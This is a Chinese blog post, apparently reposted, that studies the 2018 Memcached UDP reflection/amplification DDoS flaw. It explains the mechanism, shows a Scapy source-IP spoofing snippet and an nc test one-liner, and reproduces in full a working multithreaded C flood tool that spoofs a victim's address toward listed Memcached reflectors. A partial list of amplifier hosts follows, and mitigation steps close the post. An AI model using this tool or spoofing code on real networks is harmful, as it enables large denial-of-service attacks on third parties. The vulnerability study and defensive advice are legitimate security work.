码迷,mamicode.com
首页 > 系统相关 > 详细

【漏洞学习】Memcached服务器UDP反射放大攻击

时间:2018-03-20 14:00:27      阅读:884      评论:0      收藏:0      [点我收藏+]

标签:发送数据   cap   illegal   ffffff   分布式   ddos攻击   回调   存储   emc   

1、前言

2月28日,Memcache服务器被曝出存在UDP反射放大攻击漏洞。攻击者可利用这个漏洞来发起大规模的DDoS攻击,从而影响网络正常运行。漏洞的形成原因为Memcache 服务器UDP 协议支持的方式不安全、默认配置中将 UDP 端口暴露给外部链接。

2、原理分析

这个漏洞的攻击方式属于DRDOS(Distributed Reflection Denial of Service)分布式反射拒绝服务攻击。

  • DRDOS

对于分布式还有拒绝服务都很好理解,反射的意思简单来说就是借别人的手来攻击。Memcache满足被借用的条件就可以借用Memcache的手来攻击其他主机。

  • Memcached攻击原理

攻击者向端口11211 上的 Memcache 服务器发送小字节请求。由于 UDP 协议并未正确执行,因此 Memcache 服务器并未以类似或更小的包予以响应,而是以有时候比原始请求大数千倍的包予以响应。由于 UDP 协议即包的原始 IP 地址能轻易遭欺骗,也就是说攻击者能诱骗 Memcache 服务器将过大规模的响应包发送给另外一个 IP 地址即 DDoS 攻击的受害者的 IP 地址。这种类型的 DDoS 攻击被称为“反射型 DDoS”或“反射 DDoS”。响应数据包被放大的倍数被称为 DDoS 攻击的“放大系数”。

3、影响范围

  • Shadon

shadon搜索可得到约 65890个结果。

技术分享图片

  • ZoomEye

ZoomEye找到约 205,972 条结果

技术分享图片

4、基础知识

所有放大攻击背后的想法都是一样的。攻击者使用源IP欺骗的方法向有漏洞的UDP服务器发送伪造请求。UDP服务器,不知道请求是伪造的,礼貌地准备响应。当成千上万的响应被传递给一个不知情的目标主机时,这个攻击问题就会发生。那么我们就需要了解两件事,一是Memcached如何对数据的存取,二是如何伪造IP。

翻阅互联网文章发现一条使用NC测试自身是否存在漏洞的命令。-q1是1秒后退出,-u是指定UDP协议发送

echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 127.0.0.1 11211

根据以上两点线索为引子搜索资料。

  • Memcached

网上的POC大多数都是用了Memcached缓存系统的几个关键命令stats、set、get 命令。查阅这几个命令的详细功能参数如下:

    • set 命令

Memcached set 命令用于将 value(数据值) 存储在指定的 key(键) 中。

如果set的key已经存在,该命令可以更新该key原来所对应的数据,实现更新的作用。

语法:

set 命令的基本语法格式如下:

set key flags exptime bytes [noreply] 
value 

参数说明如下:

key:键值 key-value 结构中的 key,用于查找缓存值。
flags:可以包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)
bytes:在缓存中存储的字节数
noreply(可选): 该参数告知服务器不需要返回数据
value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)

实例

以下实例中我们设置:

  • key → runoob
  • flag → 0
  • exptime → 900 (以秒为单位)
  • bytes → 9 (数据存储的字节数)
  • value → memcached
set runoob 0 900 9
memcached
STORED
get runoob
VALUE runoob 0 9
memcached
END

输出

如果数据设置成功,则输出:

STORED

输出信息说明:

    STORED:保存成功后输出。
    ERROR:在保存失败后输出。
  • Python-网络协议库Scapy模块

python中有个模块scapy,可以伪造源IP

from scapy.all import *
send(IP(src=‘10.0.10.10‘,dst="www.baidu.com")/TCP(dport=80))

tcpdump抓包:sudo tcpdump host 115.239.210.27 会发现源IP有所改变。

5、代码编写技巧

Python版本POC

C语言版本POC

/**
memcached-PoC

memcached Proof of Concept Amplification via spoofed source UDP packets. Repo includes source code for PoC and approximately 17,000 AMP hosts.

memcached.c - Source code (https://pastebin.com/raw/ZiUeinae)
memecache-amp-03-05-2018-rd.list - List of memcached servers as of 03-05-2018 (https://pastebin.com/raw/eSCHTTVu)

Compile: gcc memcached.c -o memecached -pthread

*Educational and/or testing purposes only. *Use of these tools against an unauthorized party may be unethtical, rude, and even illegal in some countries.

**/

/* 
   memcache reflection script
   greeting: syn, storm, krashed, chrono, spike, niko, disliked
   Use with extreme Caution
*/

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
    struct sockaddr_in data;
    struct list *next;
    struct list *prev;
};
struct list *head;
volatile int tehport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++)
    {
    Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
}
uint32_t rand_cmwc(void)
{
    uint64_t t, a = 18782LL;
    static uint32_t i = 4095;
    uint32_t x, r = 0xfffffffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c) {
    x++;
    c++;
    }
    return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int nwords)
{
    unsigned long sum = 0;
    for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15;
    iph->id = htonl(54321);
    iph->frag_off = 0;
    iph->ttl = MAXTTL;
    iph->protocol = IPPROTO_UDP;
    iph->check = 0;
    iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
    udph->source = htons(5678);
    udph->dest = htons(11211);
    udph->check = 0;
    memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15); // 使用 stats 命令来输出 Memcached 服务信息
    udph->len=htons(sizeof(struct udphdr) + 15);
}
// 主要攻击函数-线程回调函数
void *flood(void *par1)
{
    struct thread_data *td = (struct thread_data *)par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
    struct sockaddr_in sin = td->sin;
    struct  list *list_node = td->list_node;
    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if(s < 0){
    fprintf(stderr, "Could not open raw socket.\n");
    exit(-1);
    }
    init_rand(time(NULL));
    memset(datagram, 0, MAX_PACKET_SIZE);
    setup_ip_header(iph);
    setup_udp_header(udph);
    udph->source = htons(rand() % 65535 - 1026);
    iph->saddr = sin.sin_addr.s_addr;
    iph->daddr = list_node->data.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    int tmp = 1;
    const int *val = &tmp;
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
    fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
    exit(-1);
    }
    init_rand(time(NULL));
    register unsigned int i;
    i = 0;
    while(1){
        sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));   //UDP发送数据
        list_node = list_node->next;
        iph->daddr = list_node->data.sin_addr.s_addr;
        iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
        
        pps++;
        if(i >= limiter)
        {
            i = 0;
            usleep(sleeptime);
        }
        i++;
    }
}
int main(int argc, char *argv[ ])
{
        // 参数小于6,添加说明
    if(argc < 6){
    fprintf(stderr, "Invalid parameters!\n");
    fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
        exit(-1);
    }
    srand(time(NULL));   //生成随机数种子
    int i = 0;
    head = NULL;
    fprintf(stdout, "Setting up sockets...\n");
    int max_len = 128;
    char *buffer = (char *) malloc(max_len);
    buffer = memset(buffer, 0x00, max_len);
    int num_threads = atoi(argv[4]);    // 线程数
    int maxpps = atoi(argv[5]);             // 开启PPS 速率
    limiter = 0;
    pps = 0;
    int multiplier = 20;
    FILE *list_fd = fopen(argv[3],  "r"); // 读取文件中的IP地址
    while (fgets(buffer, max_len, list_fd) != NULL) {
        if ((buffer[strlen(buffer) - 1] == ‘\n‘) ||
                (buffer[strlen(buffer) - 1] == ‘\r‘)) {
            buffer[strlen(buffer) - 1] = 0x00;
            if(head == NULL)
            {
                head = (struct list *)malloc(sizeof(struct list));
                bzero(&head->data, sizeof(head->data));
                head->data.sin_addr.s_addr=inet_addr(buffer);     // 漏洞IP地址填写
                head->next = head;
                head->prev = head;
            } else {
                struct list *new_node = (struct list *)malloc(sizeof(struct list));
                memset(new_node, 0x00, sizeof(struct list));
                new_node->data.sin_addr.s_addr=inet_addr(buffer);
                new_node->prev = head;
                new_node->next = head->next;
                head->next = new_node;
            }
            i++;
        } else {
            continue;
        }
    }
    struct list *current = head->next;
    pthread_t thread[num_threads];
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(argv[1]);    //受攻击主机填写
    struct thread_data td[num_threads];
    for(i = 0;i<num_threads;i++){
        td[i].thread_id = i;
        td[i].sin= sin; 
        td[i].list_node = current;                        //存储漏洞IP
        pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
    }
    fprintf(stdout, "Starting flood...\n");
    for(i = 0;i<(atoi(argv[6])*multiplier);i++)      // 时间控制
    {
        usleep((1000/multiplier)*1000);
        if((pps*multiplier) > maxpps)
        {
            if(1 > limiter)
            {
                sleeptime+=100;
            } else {
                limiter--;
            }
        } else {
            limiter++;
            if(sleeptime > 25)
            {
                sleeptime-=25;
            } else {
                sleeptime = 0;
            }
        }
        pps = 0;
    }
    return 0;
}

// memcached AMP list (Approx 17,000 hosts) DATE: 03-06-2018 - Remove this top line for use with most testing tools.
85.62.36.xx
112.78.10.xx
202.105.247.xx
121.40.71.xx
101.201.199.xx
129.144.63.xx
61.141.124.xx
103.100.209.xx
113.96.195.xx
47.90.76.xx
83.164.193.xx
74.122.193.xx
120.76.207.xx
120.24.69.xx
129.144.61.xx
105.212.115.xx
130.226.11.xx
179.108.253.xx
203.11.105.xx

6、防御策略

    1. 设置访问控制规则

例如,在Linux环境中运行命令iptables -A INPUT -p tcp -s 192.168.0.2 —dport 11211 -j ACCEPT,在iptables中添加此规则只允许192.168.0.2这个IP对11211端口进行访问。

  • 2 绑定监听IP

如果Memcached没有在公网开放的必要,可在Memcached启动时指定绑定的IP地址为 127.0.0.1。例如,在Linux环境中运行以下命令:
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

  • 3 使用最小化权限账号运行Memcached服务

使用普通权限账号运行,指定Memcached用户。例如,在Linux环境中运行以下命令来运行Memcached:
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid

  • 4 启用认证功能

Memcached本身没有做验证访问模块,Memcached从1.4.3版本开始,能支持SASL认证。SASL认证详细配置手册

  • 5 修改默认端口

修改默认11211监听端口为11222端口。在Linux环境中运行以下命令:
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid

7、参考

【Memcached Servers Can Be Abused for Insanely Massive DDoS Attacks】
https://www.bleepingcomputer.com/news/security/memcache-servers-can-be-abused-for-insanely-massive-ddos-attacks/
【Memcache服务器可用于发动超大规模的DDoS攻击,影响严重】
https://www.anquanke.com/post/id/99241
【Memcrashed - Major amplification attacks from UDP port 11211】
https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/
【Memcached之反射拒绝服务攻击技术原理】
http://blog.topsec.com.cn/ad_lab/memcached%e4%b9%8b%e5%8f%8d%e5%b0%84%e6%8b%92%e7%bb%9d%e6%9c%8d%e5%8a%a1%e6%94%bb%e5%87%bb%e6%8a%80%e6%9c%af%e5%8e%9f%e7%90%86/?from=timeline
【Memcached-PoC memcache reflection script】
https://pastebin.com/raw/ZiUeinae
【Memcached set 命令】
http://www.runoob.com/memcached/memcached-set-data.html
【How to send only one UDP packet with netcat】
https://stackoverflow.com/questions/9696129/how-to-send-only-one-udp-packet-with-netcat

【漏洞学习】Memcached服务器UDP反射放大攻击

标签:发送数据   cap   illegal   ffffff   分布式   ddos攻击   回调   存储   emc   

原文地址:https://www.cnblogs.com/17bdw/p/8608562.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!